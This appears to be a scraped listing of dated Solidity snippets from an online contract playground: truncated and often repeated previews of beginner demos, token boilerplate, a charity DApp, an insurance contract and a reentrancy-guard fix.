        string newsdesc;  
    }  
    mapping(uint => newsfeed) public newsfeeds;  
    uint public newsCount;  
  
    function addnews(string memory newsdesc) public {  
        newsCount++;  
        newsfeeds[newsCount].publisher = msg.sender;  
        newsfeeds[newsCount].newsdesc = newsdesc;  
  
    }  
}
Apr 23, 2021 11:20:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public pure returns (uint) {
    uint a = 0;
    return a - 1;
  }

  uint value;
Apr 21, 2021 18:02:35 UTC
/**
 *Submitted for verification at BscScan.com on 2020-10-28
*/

// File: openzeppelin-solidity/contracts/proxy/Proxy.sol



pragma solidity ^0.6.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 * 
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 * 
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
abstract contract Proxy {
    /**
     * @dev Delegates the current call to `implementation`.
     * 
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) in
Apr 21, 2021 07:51:19 UTC
pragma solidity ^0.5.0;

import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";

contract FreeParking is ERC20, Ownable, ERC20Detailed {
    constructor(
        address _owner,
        uint256 _supply
    )
    ERC20Detailed(
        "Free Parking Protocol", 
        "PARK",
        18
    )
        public
    {
        _mint(_owner, _supply);
    }
    
   using SafeMath for uint256;

   /**
    * @notice We require to know who are all the stakeholders.
    */
   address[] internal stakeholders;

   /**
    * @notice The accumulated revenue for each stakeholder.
    */
   mapping(address =>
Apr 20, 2021 08:56:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 20, 2021 08:31:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function signedTest() pure public returns(uint256) {
    uint16 a = uint16(-1);
    uint256 b = a;
    return b;
  }
}
Apr 14, 2021 04:43:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

Apr 13, 2021 06:13:15 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
Apr 11, 2021 07:56:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 11, 2021 06:41:23 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficia
Apr 10, 2021 10:23:05 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 07:19:38 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 06:34:07 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 13:04:42 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:58:40 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:44:01 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 10:09:26 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address p
Apr 09, 2021 08:44:29 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:26:40 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:25:14 UTC
pragma solidity ^0.4.25;

/*
    Just the interface so solidity can compile properly
    We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

/*
    Generic Receiver Contract
*/
contract Receiver {
    
    address public owner;

    constructor() public {
        /* 
            Deployer's address ( Factory in our
Apr 07, 2021 14:47:07 UTC
pragma solidity >=0.6.0;

contract questFreeton{

	constructor() public {
		require(tvm.pubkey() != 0);
        tvm.accept();
	}
	uint16 constant SIEGE_TIME = 10770;
	uint24 constant QUEST_WINDOW_TIME = 86400;

	uint16 version = 0;
	uint16 questID =0;	

	struct PirateStation{
		string blkch;
		uint24[] crd;
		uint16 siegeTime;
		uint24 exculibr;
		uint24 loki;
		uint32[] tokens;
		uint16 questID;
		uint24 appearance;
	}

	struct Pool{
		string blkch;
		uint8 minStCount;
		uint8 maxStCount;
		uint24 shipsCoeff;
		uint32[] tCount;
	}

	mapping(uint32=>PirateStation) maplogs;

	function setCode(TvmCell newcode) public onlyOwner {
		tvm.setcode(newcode);
		tvm.setCurrentCode(newcode);
		onCodeUpgrade();
	}


	function onCodeUpgrade() private {
		version += 1;
	}

	modifier onlyOwner(){
		require(msg.pubkey() == tvm.pubkey(), 100);
		tvm.accept();
		_;
	}
	function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
		rnd.shuffle();
		uint8 _countStation = _minCount + rnd.next(_maxCount - _minC
Apr 07, 2021 12:07:13 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Beneficiary{
    string description;
    uint maxContr;
    address recipient;
    bool complete;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info 
Apr 06, 2021 15:39:52 UTC
Apr 05, 2021 21:27:54 UTC
pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;

contract Owned {
    address public owner;

    function Owned() {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        owner = newOwner;
    }

    function getOwner() public constant returns (address) {
        return owner;
    }
}

contract FileHashStorage is Owned {
    struct File {
        string name;
        uint uploadDate;
        uint size;
    }
    mapping(string => File) private files;
    mapping(string => string[]) private fileOwners;
    string[] public owners;
    uint public ownerID = 0;

    /*
    owners = ["Jung", "Park", ...]
    fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
    files["0xABCD1234"] = {
      name: "test_file.pdf",
      registerDate: 17203124, // Unix timestamp
      size: 154000 // Bytes
    }
    */

    event Upload(string personName, string fileHash, 
Apr 04, 2021 13:15:52 UTC
pragma solidity ^0.4.22;

contract Insurance {

  struct customer {
    bool isUidGenerated;
    string name;
    uint amountInsured;
  }

  mapping (address => customer) public customerMapping;
  mapping (address => bool) public doctorRegistered;

  address Owner;

  constructor() public {
    Owner = msg.sender;
  }

  modifier onlyOwner() {
    require (Owner == msg.sender);
    _;
  }

  function registerDoctor(address _address) public onlyOwner {
    require (!doctorRegistered[_address], "Doctor already registered!");
    doctorRegistered[_address] = true;
  }

  function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
    address uniqueId = address(sha256(msg.sender, now));
    require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
    customerMapping[uniqueId].isUidGenerated = true;
    customerMapping[uniqueId].name = _name;
    customerMapping[uniqueId].amountInsured = _amountInsured;

    return uniqueId;
  }

  function useInsuran
Mar 31, 2021 13:30:31 UTC
/**
  
   #BEE
   
   #LIQ+#RFI+#SHIB+#DOGE = #BEE

   #SAFEMOON features:
   3% fee auto add to the liquidity pool to locked forever when selling
   2% fee auto distribute to all holders
   I created a black hole so #Bee token will deflate itself in supply with every transaction
   50% Supply is burned at start.
   

 */

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend 
Mar 29, 2021 21:23:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function log(uint256 x) public view returns (uint256 y){
        assembly {
        let arg := x
        x := sub(x,1)
        x := or(x, div(x, 0x02))
        x := or(x, div(x, 0x04))
        x := or(x, div(x, 0x10))
        x := or(x, div(x, 0x100))
        x := or(x, div(x, 0x10000))
        x := or(x, div(x, 0x100000000))
        x := or(x, div(x, 0x10000000000000000))
        x := or(x, div(x, 0x100000000000000000000000000000000))
        x := add(x, 1)
        let m := mload(0x40)
        mstore(m,           0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
        mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
        mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
        mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
        ms
Mar 29, 2021 15:20:57 UTC
pragma solidity ^0.7.0;

import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);
}

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Wheneve
Mar 26, 2021 23:39:37 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 26, 2021 05:54:42 UTC
pragma solidity ^0.7.1;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public constant returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint2
Mar 24, 2021 09:23:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value; 
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

Mar 20, 2021 16:15:52 UTC
pragma solidity 0.4.18; 
contract gfgMathPlus  
{ 
    // Declaring the state 
    // variables 
    uint firstNo=5; 
    uint secondNo=2 ; 
    
  
    // Defining the function  
    // to set the value of the  
    // first variable 
    function firstNoSet(uint x) public 
    { 
        firstNo = x; 
    } 
  
    // Defining the function 
    // to set the value of the  
    // second variable 
    function secondNoSet(uint y) public 
    { 
        secondNo = y; 
    } 
  
    // Defining the function 
    // to add the two variables 
    function add() view public returns (uint)  
    { 
        uint Sum = firstNo + secondNo ; 
          
        // Sum of two variables 
        return Sum; 
    } 
    
}
Mar 19, 2021 04:36:33 UTC
// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;

contract FIRChain {
    enum Roles {NoRole, PoliceStation, HeadQuarters}
    enum ComplaintType {Nil, Missing, Found}
    event verifyEvent(bool Status);
    event findMatchEvent(uint256 fid1, uint256 fid2);
    
    struct PoliceStationStruct {
        uint256 pId;
        address ethAddr;
        string name;
        string addr;
        string state;
        uint256 phno;
        Roles role;
    }
    struct FIRStruct {
        uint256 fId;
        string name;
        string details;
        string state;
        uint uniqueId;
        ComplaintType ctype;
        uint256 registeredDate;
        uint256 closedDate;
        bool findMatch;
        bool status;
    }
    mapping(uint256 => PoliceStationStruct) Police;
    mapping(uint256 => uint256) HeadQuarter;
    mapping(uint256 => uint256[]) PoliceStations;
    mapping(address => uint256) Registered;
    mapping(uint => bool) MissingStatus;
    mapping(uint => bool) FoundStatus;
    mapping(u
Mar 16, 2021 17:40:50 UTC
// Possible HashMasks fix


// 1. Add the following  to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor () {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}




// 2. Chan
Mar 15, 2021 18:50:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 15, 2021 13:20:01 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:40:49 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:39:11 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:45:25 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:36:14 UTC